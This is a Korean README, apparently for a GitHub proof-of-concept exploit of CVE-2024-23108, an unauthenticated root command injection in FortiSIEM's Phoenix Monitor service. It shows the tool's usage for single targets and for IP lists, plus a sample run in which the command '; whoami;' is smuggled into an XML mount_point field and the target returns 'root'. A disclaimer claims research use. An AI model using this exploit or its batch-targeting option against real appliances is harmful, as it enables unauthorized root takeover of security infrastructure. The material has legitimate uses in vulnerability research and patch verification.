
CVE-2024-23108에 대한 POC 반복으로, -l을 리스트 입력에 사용할 수 있습니다.
취약한 FortiSIEM 어플라이언스에서 결과 확인 없이 root 권한으로 명령을 실행하는 개념 증명 익스플로잇입니다. 저는 단순히 목록을 제공하는 옵션과 일부 색상을 추가했습니다. 원본(그리고 모든 공로)은 horizon3에게 있습니다(아래 블로그 게시물 참조).
근본 원인 및 침해 지표는 여기에서 확인하세요: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive
python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST File containing list of IP addresses
-p PORT, --port PORT The port of the Phoenix Monitor service (default: 7900)
-c COMMAND, --command COMMAND
The command to blindly execute
python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>
python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>
python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami
[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
<server_ip>127.0.0.1</server_ip>
<mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'
이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용될 의도가 없습니다. 프로젝트 유지관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.